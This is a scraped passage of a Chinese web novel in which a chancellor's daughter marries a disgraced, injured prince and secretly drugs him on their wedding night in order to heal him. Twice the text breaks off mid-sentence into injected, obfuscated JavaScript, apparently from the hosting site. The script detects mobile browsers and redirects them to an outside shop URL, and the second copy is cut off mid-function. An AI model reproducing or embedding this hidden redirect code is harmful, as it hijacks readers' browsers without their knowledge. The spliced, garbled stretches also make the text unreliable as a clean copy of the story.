《我渣过的前夫登基了》 1. 姐妹易嫁 晨曦初照,为云雾缭绕的山间镀上轻薄,慢慢弄纱衣,深秋露重,晶莹剔透的露珠静卧叶尖焕发光彩,轻盈的脚步声渐近,粉蓝绣鞋踏过青石阶,浅绿衣角轻拂过草尖,露珠沾湿了裙摆,落地浸洇在青石之上。 头戴斗笠的少女轻快的步伐沿着青石阶而下,一鼓作气未作停歇,直至行到灵月庵南侧的小门处稍作停顿,跺了跺脚,抖落鞋底的污泥,遂才跨步踏过门槛,慢悠悠往西厢的禅房而去。 杜清烟推开西厢第二间禅房的门,进屋后将门合上,拉上门栓,遂才将斗笠取下,露出清绝容颜。 将腰间挂着的荷囊取下,从中取出一节拇指大的竹筒置于桌上,遂才走到屏风后将半湿的衣裙换下。 片刻后,杜清烟自屏风后走了出来,身上穿着麻布粗衣,青丝轻挽垂至腰际,额前厚重的留海遮住眉毛,脸上脂粉未曾抹匀,口脂红得艳俗。 她穿戴整齐时房门被敲响,丫鬟绿竹的声音自屋外传来。 “姑娘,陈婆子带了人在山门外候着了。” 杜清烟将门打开,绿竹瞧见她的妆容欲言又止,随即默默走到桌前,将竹筒收好,又将荷囊挂回她腰间。 往外走时,绿竹忍不住碎碎念:“我家姑娘美貌无双,菩萨面前撒谎骗人并非本意,罪过罪过……” 杜清烟摇头失笑。 竟不知这小丫头如此虔诚。 山门外,一体态圆润的婆子带着两名护卫在原地候着,他们身后停了辆马车。 陈婆子不耐烦地在原地打转,见杜清烟携丫鬟出来,不满地抱怨道:“大姑娘何故磨蹭这许久,再晚些怕是要赶不上入宫谢恩了,若是误了时辰,岂不让人看相府的笑话,当真是不懂规矩。” 杜清烟面露怯色,绞着手指一副无措的样子,绿竹垂首掩下厉色。 若非为大局找想,非得叫这狐假虎威的老虔婆尝她几个嘴巴子。 见杜清烟唯唯诺诺的样子,陈婆子不掩鄙夷,催促道:“贱婢,还不将大姑娘扶上马车,若是误了时辰,小心你的贱命。” 此时杜清烟扶上绿竹的手臂,压住了绿竹翻涌的怒火,绿竹低眉垂首,默默扶着杜清烟上了马车。 陈婆子啐了一口,低低道了句:“一股子泥臭味,真晦气。” 杜清烟在绿竹的搀扶下上了马车,瞧见绿竹脸都快气绿了,轻声安抚道:“稍安勿躁,自有你出气的时候。” 绿竹深吸一口气,将怒气压了回去,待陈婆子进马车时主仆二人依旧是一副低眉顺眼的怯懦样。 陈婆子不屑冷哼一声,吩咐马夫启程。 马车摇摇晃晃小半个时辰方在相府后门外停下,陈婆子先下了马车,不情不愿候在一旁倒是不敢入先前一般放肆。 杜清烟与绿竹自行回了她们先前住的小院,不多时便有丫鬟送来新衣,说是相府的当家主母杜夫人吩咐让送来的,催促杜清烟快些换上莫要让主母与二姑娘久等。 丫鬟是杜夫人身边伺候的,面对杜清烟时的态度与陈婆子如出一辙,杜清烟浑然不在意,待丫鬟离去后,她掬水净面,将脸上脂粉洗净,露出白净的面容,绿竹为她梳好发髻,只是厚重的留海依旧遮挡在额前。 绿竹看着自家主子,不由得叹气。 “姑娘,你当真要嫁与六皇子?” 杜清烟淡笑道:“既来之则安之,况且听闻六皇子俊美无双,我亦不亏。” 绿竹撇嘴道:“话虽如此,可如今的六皇子今非昔比,一个失了宠的皇子,又废了一只手,往后怕是只能窝在府中……” “慎言。” 杜清烟轻声打断绿竹的话,拿了只白玉簪,对着铜镜插,入发髻中,随即转身出去。 绿竹噤了声,跟着走了出去。 杜清烟去了相府二姑娘杜清若的落霞院,与她们住的小院不同,落霞院宽敞雅致,伺候的丫鬟婆子不少,而此时一众丫鬟婆子跪了满院子。 落霞院主屋房门紧闭,二姑娘杜清若身边的大丫鬟雪心在门外急得团团转,雪心见杜清烟如见救星,急忙迎上前去。 “大姑娘,您劝劝二姑娘,再耽搁下去怕是要误了时辰。” 届时整个落霞院伺候的下人怕是都活不成了。 杜清烟对雪心安抚一笑,上前叩门。 “清若,是我。” 片刻后房门从里面打开,杜清若一身素衣立于门后,娇美面容此时一片灰白,却有一种清冷绝尘的美。 “姐姐……” 一声“姐姐”唤出口,两行清泪夺眶而出,杜清若扑进杜清烟怀中低声抽泣起来,杜清烟轻轻拍着杜清若背,任由她发泄心中委屈。 待杜清若哭累了,杜清烟才牵着她坐到妆台前,示意候在门外的雪心进来为她梳妆。 雪心进屋后跪在院子里的众人遂才松了口气,却不敢起身,只敢交头接耳小声议论起来。 绿竹上前将房门合上,静默候在门外。 屋中杜清若木然落泪,杜清烟上前,结果雪心手中的帕子为她拭泪。 “清若,你为何不愿嫁太子?” 杜清若的泪流的更凶了,哽咽道:“太子妃之位本该是姐姐的,那是先皇后与娘定下的,我岂能抢姐姐的姻缘……” 杜清若口中的娘是杜清烟的生母元氏,元氏乃丞相杜柏谦的原配夫人,元氏亡故后杜柏谦将妾室方茹扶正,杜清若虽是方茹所出,但自出生起便被记在元氏名下,元氏亲自带在身边教养。 提及已故的母亲,杜清烟眼眸微黯,她离家时尚且年幼,清若比她多陪了母亲几年,母亲将清若视若己出百般疼爱,清若对母亲的感情怕是比她还深。 杜清烟抬起杜清若的下颌,轻声问:“若其中无我之故,你可愿嫁太子?” 杜清若怔然,随即摇头:“姐姐,我对太子无意。” 美人落泪,梨花带雨,看得杜清烟心疼,她爱怜地用手拭去杜清若眼角的泪珠。 “莫怕,我会护着你的。” 杜清若抬眼与她对视良久,忽然破涕为笑,拿了帕子自行将泪擦干,点头应道:“嗯,有姐姐在,我不怕的。” 一炷香后,姐妹二人相携走出落霞院,院外守着的婆子见状赶忙去向夫人禀报。 杜清烟与杜清若在相府门口等了片刻,如今的相府主母方氏在丫鬟婆子的簇拥下慢悠悠走了出来,与珠翠满头,雍容华贵的方式相比,杜清烟与杜清若的打扮只能用素净形容。 方氏的目光自杜清烟身上扫过,瞧清她白净的脸后冷了神色,眼中的妒恨一闪而过,再看向杜清若时方氏扬起笑脸,想要伸手去拉杜清若的手。 “清若,与为娘一起……” 杜清若避开了方氏的触碰,截断了方氏的话,“我与姐姐同乘即可,便不扰母亲清净了。” 方氏闻言顿时冷了脸,冷哼一声便由贴身伺候的婆子扶着上了马车。 相府的两辆马车缓缓驶向宫门的方向。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484764|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 马车内,方氏余怒未消,愤恨道:“到底不是跟在我身边养大的,即便我费尽心思为她谋划,她心里竟不念我的一分好,早知会生出这么个白眼狼来,她一出生我就该掐死她。” 方婆子赶忙出声制止道:“夫人日后莫要再说这样的话,当心与二姑娘离了心,二姑娘日后更是要入主东宫成为太子妃的,她总有一日会理解您的用心,且日后小公子多要仰仗二姑娘,您要与二姑娘多亲近些,如此才不枉费您费心谋划一番,切不可因一时之气替他人作嫁衣。” 方氏气得胸口起伏,声音倒是低了不少,愤然道:“我方才仔细瞧了那小贱蹄子,那模样竟与元锦绣那贱人越发像了,瞧着就讨厌,清若那死丫头是我亲生的,与我生疏,却与那母女俩亲近……当真是想气死我!” “夫人莫急。” 婆子赶忙出言安抚,边帮方氏顺气。 另一辆马车内,杜清若倚靠在杜清烟肩头,怅然低语。 “她生下我只是将我当作一枚棋子,为达到目的,甚至不惜毁我名节,祖母寿辰那日,定然是她安排人将太子引入我房中,爹明知是她算计却顺水推舟要我嫁入东宫,他们如此所为不曾为姐姐你考虑过半分,她将如此下作手段用在我身上,还连累姐姐被迫嫁与六皇子,那六皇子……” 杜清烟抚了抚杜清若的鬓角,浑然不在意地笑了笑,杜老夫人寿宴前两日她就因目无尊长、顶撞长辈的罪名被罚去灵月庵为老夫人祈福,一去便是半月有余。 想来是有人怕她碍事,故意将她弄走。 嫁太子还嫁六皇子,已有人替她做了选择,倒是无需她费心了。 她道:“六皇子乃先皇后所出,自小在军中历练,早年远赴边关上阵杀敌,勇猛无双,他也曾是威风凛凛的少年郎,论起来他还是中宫唯一嫡出的皇子,能嫁他是我之幸。” 杜清若未料到她竟是这样想的,不免有些震惊,呐呐无言看着她。 忽然马车外传来一声不合时宜的低笑打破了静谧氛围。 “当真有趣。” 杜清若反应极快,低喝一声:“何人如此猖狂,敢尾随丞相府的马车。” 她话音落下,马车帷幔被人自外挑起,一张俊朗的脸露了出来,笑容嚣张且得意。 “竟不知是相府的两位姑娘在此,在下失礼了。” 嘴上说着失礼,那一副玩世不恭的态度当真是嚣张至极,不见丝毫理亏。 杜清若已然认出男子的身份,涨红了脸愤愤扯了扯帷幔,将马车遮了个严实。 马车外男子朗声大笑,肆意狂妄,随后男子不轻不重的声音再次传了进来。 “六殿下,您艳福不浅呐。” 马车内的气氛一下子凝固,杜清若的脸由红转白,用力抓紧了杜清烟的手。 杜清烟安抚地握了握她的手,示意她不用怕,安抚好杜清若后,杜清烟轻轻掀起帷幔一角向外望去,冷不防便与马背上的锦衣男子四目相对。 男人面如冠玉,丰神俊逸,骑在马背上身姿挺直板正,锦衣玉带气质尊贵,正是六皇子凤燕回。 他骑在一匹红鬃马上,左手抓着缰绳,右手垂于身侧,冷肃的的眼望向她。 杜清烟朝他温婉一笑,颔首示意。 凤燕回面目表情收回目光,一言不发,策马疾驰而去。 “哎呀殿下,莫要害羞嘛!” 方才那肆意张扬的男子高喊一声后扬鞭疾驰追去。 2. 成婚 马蹄声渐远,待一切沉静下来,杜清若面色已恢复如初,她与杜清烟说起了方才的男子。 “那人是忠义侯府的小侯爷李砚舟,虽然人混了些,倒也算得上心性纯良,心肠不坏。” 忠义侯的独子,侯府的小侯爷,京中有名的纨绔能得丞相府二姑娘一句“心性纯良”的夸赞,杜清烟若有所思。 瞧杜清烟不说话,杜清若心下又不安起来,迟疑问:“姐姐,方才你可是瞧见六皇子了?” 杜清烟点头:“那人右臂有些异样,应当是他。” 杜清若惋惜地叹了声气,未再多言。 马车在宫门外停下,姐妹俩下马车后便瞧见两名护卫牵着两匹马在不远处候着,先前骑在马背上的人已不见踪影,想来已经入宫了。 杜夫人所乘的马车落后一段距离,杜清烟与杜清若便在原地等候片刻,随后跟在方氏身后入宫见贵妃。 先皇后故去后,后位空悬已久,如今后宫之中位份最高便是贵妃,太子便是在贵妃膝下养大的,而杜清烟与六皇子的姻缘也是贵妃一手促成。 然而贵妃娘娘并未接见她们,只吩咐身边伺候的嬷嬷在殿中交代了几句话,将贵妃娘娘给的赏赐呈上。 从贵妃殿中出来,杜夫人面色难看,憋了一肚子火在出宫门后发泄在杜清若身上,对她又掐又骂。 “你怎地如此不争气!” 杜清若不防杜夫人会有如此举动,被掐得痛呼出声,杜清烟眼疾手快将杜清若拉到身后护着,面无表情盯着杜夫人瞧。 杜夫人对上她的目光不由得一愣,不知为何被她这样盯着竟有股寒意自后脊直窜头顶,下意识后退了两步。 方婆子上前扶住杜夫人,急忙劝道:“夫人,此处人多眼杂,先回府。” 回相府途中,杜清若一副心事重重的样子,贵妃娘娘的态度很明显了,那便是瞧不上与相府的亲事,或许是瞧不上她。 想来也是,那日太子误闯她闺房一事明眼人皆心知肚明是怎么回事,只不过碍于太子的身份与相府的地位不敢乱传。 贵妃娘娘瞧不上这种下作手段,自然也不待见她。 杜清烟握住杜清若的手,柔声安慰:“也许贵妃娘娘并非针对你我,不必过于忧心。” 杜清若闻言露出疑惑之色。 “姐姐的意思是……” 杜清烟心下叹息,这丫头聪慧,但自幼在娇养呵护中长大,心思纯善不擅揣度人心,对尔虞我诈见识甚少,日后入了东宫,怕是要吃亏的。 “阿若,你可还记得年幼时娘亲时常带你我入宫给先皇后与贵妃娘娘请安,那时贵妃娘娘待我们极好,你可知为何?” 杜清若思索后想到什么,讶然道:“是因娘亲。” 杜清烟点头道:“先皇后与贵妃娘娘情同姐妹,便是后来同处深宫她们也不曾生过嫌隙,而娘亲与先皇后是闺中密友,与贵妃娘娘也是交情颇深,便是如今娘亲不在了,贵妃娘娘也不会与我们小辈一般见识。” 贵妃娘娘给的赏赐指名给她们姐妹俩,半句不提相府。 由此可见贵妃不待见的人是杜夫人,今日这般无非是要敲打杜夫人,让杜夫人有自知之明。 杜清若聪慧,一点就通,正因如此,她更是惊叹杜清烟的玲珑心思。 自一年多以前杜清烟回到相府,人前她始终寡言少语,怯懦无措,被下人轻视欺负也是忍气吞声。 今日的她与往日相比,如同换了个人似的。 杜清若仔细将她打量了一番,感叹道:“我瞧姐姐此番从灵月庵回来似乎有些不一样了。” 杜清烟并不意外她会这样说,有些事也是时候让她知晓了。 “阿若,我需要你帮我。” 杜清若怔怔望着杜清烟,此刻她觉得眼前这双眼睛似曾相识,尘封的记忆一瞬间打开,年幼时温情的一幕幕在脑中浮现。 是了,娘亲也有一双这样的眼睛,那时在熊熊烈火中她回头看娘亲最后一眼时,娘亲也是用这样的眼神看她。 她年幼时常听娘说,她与姐姐当同气连枝一条心才不会被人欺负了去。 “好。” 此刻她隐约猜到姐姐要做什么了,她愿与之共进退。 她们前脚回到相府,后脚赐婚的圣旨就到了,一道圣旨,两桩赐婚,相府两位千金一个嫁太子,一个嫁皇子,择吉日完婚,相府一时风头无两。 赐婚圣旨下达相府后的第二日,太子与六皇子的聘礼同时送达,同日传出太子凤燕霖不知何故在御书房外跪了一夜。 直至数日后,钦天监测算好良辰吉日递到相府时,太子妃与侧妃将同日嫁入东宫的消息也传开了。 * 冬月初一太子大婚,洞房花烛夜太子先去了侧妃屋里,受冷落的太子妃伤心欲绝呕出一口血后便病倒了,太子因此被罚闭门思过半月。 杜清烟听到消息时正坐在小院的柿子树下绣喜帕,绿竹坐在一旁边啃柿子边瞧她将鸳鸯戏水绣成野鸭打架,几次欲言又止。 待杜清烟绣完最后一针收了线,绿竹才道:“这些物件宫中早已送来,你何苦折腾。” 杜清烟轻笑道:“闲来无事想试试女红是否有长进,现下瞧着,倒也不曾退步,回头放进嫁妆里带过去。” 这话惊得绿竹连柿子都拿不稳了,咕噜在地上滚了几圈,染了尘土,只得拿去扔了。 “你就不担心二姑娘应付不来,不怕她在东宫受委屈?”绿竹问出心中所想。 杜清烟脸上笑意不减,摸了摸手上被针扎疼的地方,“有林姑姑在,无人敢找阿若的不痛快。” 林姑姑闺名林春,年少守寡,落难时得杜清烟生母元锦绣所救,之后便跟在元锦绣身边,十多年前曾救过先皇后与年幼的六皇子,圣上特封她为郡君,但她始终守在元锦绣身边,元锦绣故去之后便守着杜清若。 如今杜清若入了东宫,林姑姑跟去无人敢说什么。 说到林姑姑,绿竹想起了正事。 “今日一早收到林公子来信,他与瑶姑娘已在来京途中,冬月初十前定能赶到。” 冬月初十是杜清烟与六皇子的大婚之日。 绿竹口中的林公子是林姑姑的儿子林书琰,十岁便南下经商,走南闯北,今不过及冠之年,林氏商行已声名远扬。 冬月初十,黄道日,宜嫁娶。 杜清烟身着凤冠霞帔坐在花轿中,迎亲队伍自然不如太子迎亲那日浩浩荡荡,与六皇子前来迎亲的只有忠义侯府的小侯爷与几位平日里小侯爷走得近的纨绔公子,不同于太子迎亲队的庄严,六皇子的迎亲队满是欢声笑语,倒也不显冷清。 花轿落地,新郎踢轿门,喝彩声四起,就属小侯爷李砚舟的声音最洪亮。 杜清烟下轿时以为是喜娘扶她,却不想她弯腰低头时喜帕倾斜,她瞧见一只骨节分明但手心有布满茧的大手递到她面前。 她愣了愣,不由自主将手搭了上去,粗粝的触感让她惊醒,她并未缩回手,反而紧紧握住了。 凤燕回的身形顿了顿,随即恢复如常,牵着她出了花轿。 她牵着他的手未曾松开,引得周围一阵哄笑,好在有喜帕遮着,别人瞧不见她的脸,也瞧不见她扬起的嘴角。 拜堂仪式随着礼官高唱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凤燕回停在离她一丈远的地方,静静凝望她片刻,欲张口说话,咳嗽先起。 他背过身去,掩唇低咳许久方才停下,再开口时声音带着喘气声。 “你早些歇着,不必等我。” 言毕他拔腿往外走,此时杜清烟出声叫住他,嗓音轻柔中带了几分委屈。 “殿下,合卺酒没喝。” 凤燕回顿住脚,杜清烟见状,将桌上早已斟好的两杯酒拿起,一杯举到他面前,目光盈盈,满是期待望着他。 “请殿下饮合卺酒。” 她话音未落,手上的酒杯一杯凤燕回接了过去,当着她面一饮而尽。 见她欲言又止,凤燕回蹙眉,隐约有些不耐。 “还有何事?” 杜清烟黯然垂眸,泫然欲泣的模样,伸手扯了扯他的袖口。 “殿下可否坐下听我一言。” 凤燕回眉头拧得更紧了,默默抽回衣袖,正欲在椅子上坐下,却又听她抽噎道:“喜被下藏了……藏了针,不知是要害殿下还是害……” 她断断续续的话还未说完,凤燕回已大步走向喜床,掀起被角的瞬间眩晕感袭来,一头栽倒在了喜床上。 听到重物栽倒的响动,杜清烟嘴角微扬,将杯中酒洒在地上,杯子从手中滑落,滚到桌下。 翌日,凤燕回幽幽睁眼,一动便察觉异样,龙凤呈祥的大红喜被下他竟□□。 不知是怒还是羞的,他耳尖红得滴血,苍白的脸也浮上血色。 “来人!” 推门进来的人是他的贴身侍卫卫风,听到主子召唤的卫风几乎是一阵风似的冲了进来,当瞧见主子平躺于喜床上以及喜被下主子露出的肩膀,错愕万分。 “殿、殿下……” 凤燕回冷着脸道:“服侍我更衣。” 卫风回神,赶忙上前将脸色青红交加的主子扶了坐起,随着动作,主子身上的被子往下滑落。 卫风再次惊呆了。 “殿下,您、您清白不保了!” 3. 因果 “把嘴闭上!” 凤燕回面黑如锅底,脖颈上青筋凸起,气急之下竟忘了常年疼痛使不上劲的右臂不可妄动,双臂撑着床面坐直起身。 右臂的痛感袭来,却与往日里的钻心剧痛稍有不同,凤燕回后知后觉侧头看向自己的右臂,向来冷肃的眸中难掩喜色,他缓缓抬了抬右手。 初时卫风的注意力只集中在自家主子锁骨处那两道泛着青紫的伤口,察觉到主子的动作后目光下移。 喜被下露出的手臂,动作虽缓,却是真的能动了。 卫风难以置信地瞪大了眼,喜不自胜。 “殿下,您的右手……” 凤燕回缓缓抬起的右臂很快便脱力回落,他几番尝试后确定有所好转,脸上难得露出笑意。 卫风见状亦是大喜,急声道:“属下这就去叫大夫过来。” 凤燕回出声制止:“此事莫要声张。” 卫风不明所以却不敢多问,退到一旁候着。 凤燕回蹙眉道:“昨夜有人下药,我着了道。” 莫名的一句话令卫风呼吸一滞,目光不由得再次落在自家主子光,裸的身子上,此时喜被已下滑至腰间,劲瘦的上身露在外面。 想到什么,卫风惊讶道:“是夫人?” 昨夜与殿下接触过的人只有昨日入府的新夫人。 一声‘夫人’让凤燕回的神情冷了下来,眸色沉沉,冷声道:“她人在何处?” 卫风小心观自己主子神色,莫名心虚,赶忙应道:“夫人卯时便出府了,出门前交代属下在门外守着殿下。” 凤燕回一记冷眼扫去,卫风僵了僵,心虚垂首,小声交代:“夫人说您昨夜累着了,属下以为您昨夜与夫人……夫人离去后属下进屋查看过,见您安睡,便不曾多想。” 夫人离去时脚步轻盈,生龙活虎的,反观主子躺在喜床上沉沉睡着,他还以为是主子昨夜洞房花烛用力过猛,体力不济累坏了,还暗自感叹夫人瞧着弱不禁风般娇娇弱弱的,小身板倒是结实。 但转念想到昨日才进门的这位主母并非是在相府的深闺中长大,自然与一般的闺阁千金不同。 凤燕回左手扶额,太阳穴也隐隐作痛,“她说什么你信什么,到底谁才是你的主子。” 卫风急忙跪下请罪:“属下知错,请主子责罚。” 凤燕回叹气:“罢了,你这脑子也就如此了,责罚也无济于事。” 没脑子的卫风将头垂得更低了。 “是殿下您吩咐的,主母进府后她可随意进出,不必阻拦的,属下以为您对夫人……是属下愚钝未能理解殿下的用意,属下愿意领罚。” 他原是想说,他以为殿下对夫人爱重,遂给于夫人随意进出府的自由,可他虽被殿下嫌弃脑子笨,但也非真傻,自家主子对这位新进门的夫人并非如他以为的那般。 凤燕回不欲多言,只吩咐道:“为我更衣,稍后进宫给父皇请安。” 卫风闻言如蒙大赦,赶忙去取主子的衣物来。 待卫风将衣物取来,凤燕回掀开被子时顿住,顿时神色变幻,卫风无意窥见一抹红,傻眼了。 殿下腰腹以下盖着的竟是一方红盖头,那上面绣的是两只……野鸭在打架? 见自家主子胸膛起伏得厉害,卫风赶忙捂住眼睛背过身去。 夫人瞧着娇弱,却是真的猛。 将殿下药倒不说,还将殿下剥了干净,盖在殿下下身的绣着野鸭打架的红盖头就是证据。 夫人将殿下浑身上下看光了。 凤燕回一把抓起盖在腿间的喜帕,死死捏在手中,面上血色上涌。 可眼下人不在跟前,即便气得快要晕厥,凤燕回亦无计可施。 待他穿戴整齐后才沉声吩咐:“卫风,去将她找回来。” 卫风急匆匆领命而去,却在府外与慢悠悠走回来的杜清烟与绿竹撞上。 见到杜清烟那一瞬,卫风眼前浮现的是野鸭打架的画面以及主子气得发红的脸。 此刻卫风对自家这位新夫人肃然起敬。 “夫人,殿下等您多时了。”卫风恭敬地对杜清烟行礼。 杜清烟点了点头,自卫风身旁走过时顿住脚,侧头看他,脸上是温婉和善的笑。 “殿下何时醒来的?” 卫风应道:“殿下醒了有小半个时辰了,一醒来便着急寻夫人,久不见夫人归来,遂命属下外出找寻。” 杜清烟与绿竹对视一眼,笑了笑,未在多言,继续朝府中走去。 回府后,杜清烟带着绿竹径直去了正堂,卫风亦步亦趋跟在她们身后,无比惊讶她竟对皇子府如此熟悉,无人引路却知往何处走。 凤燕回已端坐在堂中,左手边放着一碗冒着热气的黑乎乎的汤药,杜清烟进屋时挥了挥手,绿竹会意一把将想要跟进去的卫风拽住。 杜清烟跨过门槛进屋,凤燕回抬眼望向她,眼神带了几分打量。 她淡然浅笑,任由他打量。 “殿下,可觉得身子舒爽些了?” 凤燕回指了指手边黑乎乎的药,示意她走进些瞧瞧,杜清烟笑容依旧,走过去将药碗端起抿了一口。 未料到她会有此举动,凤燕回眸色微凝,目光不由得落在她娇嫩的唇瓣上,不知怎的又想到今早醒来时不着寸缕躺在床上无法起身的窘况。 他极力克制住情绪,问她,“昨夜你在合卺酒中下了药?” 昨夜她那般分明是故意诓他,那杯合卺酒中必有猫腻,也怪他实在大意,竟被她轻而易举骗了去。 虽不知她的目的,但他的右臂恢复了一些是事实。 她能救他。 杜清烟并未否认,放下药碗,来到他面前,微微倾身与他拉近距离,近到鼻尖快要贴上他的鼻尖,幽幽清香钻入鼻间,他下意识偏开头。 察觉他的动作,杜清烟伸出手固住他的头,一手去掀他的眼皮看,凤燕回僵着身子一动不动,眼中映出她的身影。 今日的她与那日马车里见到的很是不一样,无论是样貌还是眼神都不一样,一改先前的唯唯诺诺,落落大方又故意撩拨招惹他。 她的这双眼他觉得眼熟,似乎在哪里见过。 “殿下,昨夜在合卺酒中下药实乃无奈之举,我对殿下并无恶意。” 她仔细查看他的双眼后松了口气,向后退了一步,坦然承认了给他下药的事。 凤燕回紧绷的身子松了下来,他盯着她,眼神不似先前冰冷。 他问:“为何想救我?” 她笑盈盈道:“殿下想听,我自不会隐瞒。” 凤燕回眉目稍展,静待她说下去。 只见她眼珠一转,笑容里多了两分狡黠,她再度俯身,凑在 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四年前黑陀城,她口中的少将军是云昭…… 而云昭正是她的表兄。 她的一番话情真意切,凤燕回却听不出情深意浓。 他沉思片刻,沉吟道:“你救我是因阿昭,那你可知阿昭是为救我才下落不明,至今生死未卜,我害了他,你却要救我?” 杜清烟反问:“那殿下愿意娶我又是为何?” 若她不是云昭的表妹,他又怎会心甘情愿娶她,给她体面。 见他不语,杜清烟上前,执起他的右手,轻轻掰开他微蜷的五指,在他掌心写字。 这一幕触动了一些久远的记忆,凤燕回眼中划过愕然。 “是你。” 竟是那时他在黑陀城中救过的哑巴医女。 当时城中骚乱,有流匪四处流窜打家劫舍,那夜他带人巡查时正撞见流匪在药铺中烧杀抢砸,她被一个五大三粗的流匪揪着衣领拖着走,那样的危急时刻她却死死抱着怀里的几包药材不撒手。 流匪被他一刀毙命,他救下她,吩咐手下兵士护送她去城中难民安置处安置,可她却抓住他的手,在他掌心写字,说她知晓贼窝在何处。 由她引路果真一举端了匪窝,平息匪患。事后他欲寻她时,她已消失无踪。 杜清烟收回手,嫣然浅笑:“那时我因试药出了岔子,口不能言,那日我外出采药碰巧瞧见匪冦窝点,未料回到药铺当夜便遇到流匪闯入行凶,命悬一线之际殿下如同天神降临救我性命,救命之恩我自当以身相许。” 当时她形容狼狈,脸上抹了锅底灰,他记不得她情有可原。 有了这份因果,她与他之间的这场姻缘倒是有几分天注定的缘分在里头。 凤燕回摊开的右手掌心缓缓蜷缩回去,方才她在他掌心写了三个字。 她道:不怨你。 不怨么? 而他仍有许多事想问她。 譬如,她是否能治他的右手。 观他反应,杜清烟便知他所想,不与他绕弯子,直言道:“殿下的手我能治。” 凤燕回微怔,惊喜的情绪溢出眼底,竟展露出笑颜,也有感激之意。 “如此,便有劳姑娘了。” 4. 心尖宠 杜清烟指了指桌上那碗黑乎乎的汤药,凑近了些,在他耳旁低语,“此药于殿下之症并无益处,殿下若信得过我,便将这药停了罢。” 凤燕回顺着她指的方向看向还冒着热气的药碗,似乎对她所言并不感到意外,只是久久无言。 杜清烟察觉端倪,不禁疑惑:“此药方出自何人之手?” 她心知凤燕回即便再不受宠也是皇子,为他看诊的必然是太医院的御医,若当真是宫中御医又岂会不知这药并不对症。 这其中怕是有不为人知的隐情。 这位六殿下已落魄至此,仍有人忌惮于他。细思之下,恍然大悟,这位六殿下乃中宫嫡出,若非先皇后亡故,母族退隐无所依仗,便是因触怒圣颜遭贬斥失了宠亦不能落到如此境地。 一年前陛下虽已另立太子,但凤燕回嫡出的身份终是遭人忌惮,且他自幼天资聪颖,智勇双全,早年随军驰骋疆场,在军中颇有威望,即便失了圣心也有人怕他久活。 杜清烟看向面前眉眼清隽、容姿独绝的新婚夫君时心中不免多了几分怜悯。 龙困浅滩遭虾戏,曾经金尊玉贵的天之骄子一朝跌落,心怀叵测者皆欲踩上一脚。 凤燕回对上她担忧的目光,温润一笑,有安抚之意,“太医院院首齐回春为我看诊半载,此药方出自他之手。” 他如实告知。 齐回春此人她有所耳闻,十数年前南边水患时疫肆虐,祸患蔓延至军营,时逢陛下初登高位,民间流言四起,人心惶惶。 然数月后,时疫得到控制,太医院中的后起之秀齐回春声名远扬,传闻是他以身试药寻到治疗疫症之法,因此得陛下赏识破格提拔。 十数年光景晃眼而过,算算如今的太医院院首不过而立之年罢了。 杜清烟凝思片刻,疑惑道:“想来殿下早已知晓齐院首有疑,为何不揭穿他。” 白白喝了大半年苦药,他当真是能忍常人之不能忍。 凤燕回敛了笑意,意有所指道:“齐回春是父皇心腹。” 杜清烟怔住。 见她惊疑,凤燕回笑问:“可是怕了?” 杜清烟蹙眉凝思,却是坚定摇头。 既已嫁给他,她自是不怕蹚这趟浑水。 她笑盈盈道:“若殿下信我,两月之内我必能让殿下的右臂恢复如初。” 凤燕回眼露怔然,下意识抚上他的右臂。 恢复如初么? 此时门外传来卫风的声音。 “殿下,您与夫人该入宫了。” 闻言,杜清烟惊呼出声,在凤燕回疑惑望向她时,她讪笑道:“不知殿下府中可有能为我梳妆的女使,今日入宫面圣,我得体些,殿下面上也过得去。” 见她真有些着急,凤燕回失笑,唤了卫风进来低声吩咐了两句,卫风退下时震惊又疑惑地瞄了杜清烟几眼。 半个时辰后,杜清烟与凤燕回同乘的马车缓缓驶向皇宫。 马车内,杜清烟时不时挑帘往外瞧,马车行过闹市,喧杂声入耳,她才放下手,冷不防对上凤燕回探究的目光,她无辜眨眼。 “殿下,此时入宫怕是迟了。” 此时的她身着繁琐却华丽庄重的宫装,妆容精致,先前覆于额前厚重的留海已不复存在,方才服侍她梳妆着衣的婢女皆眼露惊艳之色,她对自身的容色亦是满意的。 她也知上了马车后殿下总盯着她瞧。 凤燕回淡淡一笑:“无妨。” 见他目光不闪不避,依旧盯着她瞧,杜清烟心下一动,往他身侧贴近,故意将脸凑近,与他咫尺之距。 “殿下瞧我作甚,莫不是我今日妆容有何不妥?”她趁机撩拨一番。 凤燕回惊了一瞬,下意识后仰,意识到被她捉弄,掩唇轻咳一声,正襟危坐。 “夫人妆容甚好,并无不妥。” 杜清烟假装未曾瞧见他红了的耳根,为他拢了拢肩上大氅后退开了些,言语调戏却未作罢。 “我瞧殿下亦是姿容倾世,世无其二,令万千芳心倾倒,思之寐之。” 被小女子调戏已不是头一回,可每回调戏捉弄他之人正是眼前的小女子。 凤燕回一时无言,双耳不自觉间已红透了。 随后他将话头转向别处。 “四年前你为何会在黑陀城?” 杜清烟敛了嬉笑,忆起过往,难掩悲戚,沉默几息后她缓声开口:“那时外祖父听闻阿昭表兄将与殿下一同奔赴北疆平乱,甚是忧心,却因外祖母病重脱不开身,我亦担忧表兄,于是悄悄前往北疆,一路跟随表兄与殿下去到黑陀城,因遇变故只得在药铺落脚,后来遇险幸得殿下相救……” 她所言半真半假,但她确信凤燕回目前不会起疑,只因她此时是云昭表妹的身份。 果然,凤燕回听完她的话后久久无言,想来也如她一般,忆起故人思绪难平。 良久后,凤燕回神色恢复如常,对她的态度可算得上温和亲近。 “日后我会竭尽所能护你。” 这也是他欠云昭和云家的。 杜清烟不以为意摆手道:“殿下无需为我担忧,我一小女子惜命得紧,若有朝一日你我同处险境望殿下先保全自身,我自有法子脱身。” 凤燕回盯着她瞧,眼中神色十分复杂。 